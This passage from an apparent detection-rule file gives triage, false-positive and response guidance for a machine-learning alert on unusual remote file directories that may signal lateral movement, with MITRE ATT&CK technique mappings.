The 'Unusual Remote File Directory' detection leverages machine learning to identify atypical file transfers in directories not commonly monitored, which may indicate lateral movement by adversaries. Attackers exploit these less scrutinized paths to evade detection, often using remote services to transfer malicious payloads. This rule flags such anomalies, aiding in early detection of potential breaches.
### Possible investigation steps
- Review the alert details to identify the specific unusual directory involved in the file transfer and note any associated file names or types.
- Check the source and destination IP addresses involved in the transfer to determine if they are known or trusted entities within the network.
- Investigate the user account associated with the file transfer to verify if the activity aligns with their typical behavior or role within the organization.
- Examine recent logs or events from the host to identify any other suspicious activities or anomalies that may correlate with the file transfer.
- Cross-reference the detected activity with known threat intelligence sources to determine if the file transfer or directory is associated with any known malicious campaigns or tactics.
- Assess the potential impact of the file transfer by evaluating the sensitivity of the data involved and the criticality of the systems affected.
### False positive analysis
- Routine administrative tasks may trigger alerts if they involve file transfers to directories not typically monitored. Users can create exceptions for known administrative activities to prevent unnecessary alerts.
- Automated backup processes might be flagged if they store files in uncommon directories. Identifying and excluding these backup operations can reduce false positives.
- Software updates or patches that deploy files to less common directories could be mistaken for suspicious activity. Users should whitelist these update processes to avoid false alerts.
- Development or testing environments often involve file transfers to non-standard directories. Users can configure exceptions for these environments to minimize false positives.
- Legitimate remote services used for file transfers, such as cloud storage synchronization, may be flagged. Users should identify and exclude these trusted services from monitoring.
### Response and remediation
- Isolate the affected host immediately to prevent further lateral movement and contain the potential threat. Disconnect it from the network to stop any ongoing malicious activity.
- Conduct a thorough analysis of the unusual directory and any files transferred to identify malicious payloads. Use endpoint detection and response (EDR) tools to scan for known malware signatures and behaviors.
- Remove any identified malicious files and artifacts from the affected directory and host. Ensure that all traces of the threat are eradicated to prevent re-infection.
- Reset credentials and review access permissions for the affected host and any associated accounts to mitigate the risk of unauthorized access. Ensure that least privilege principles are enforced.
- Monitor network traffic and logs for any signs of further lateral movement or exploitation attempts. Pay special attention to remote service connections and unusual directory access.
- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional hosts or systems are compromised.
- Update detection mechanisms and rules to enhance monitoring of less common directories and improve the detection of similar threats in the future."""
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1210"
name = "Exploitation of Remote Services"
reference = "https://attack.mitre.org/techniques/T1210/"
[[rule.threat.technique]]
id = "T1570"
name = "Lateral Tool Transfer"
reference = "https://attack.mitre.org/techniques/T1570/"
[rule.threat.tactic]
id = "TA0008"
name = "Lateral Movement"
reference = "https://attack.mitre.org/tactics/TA0008/"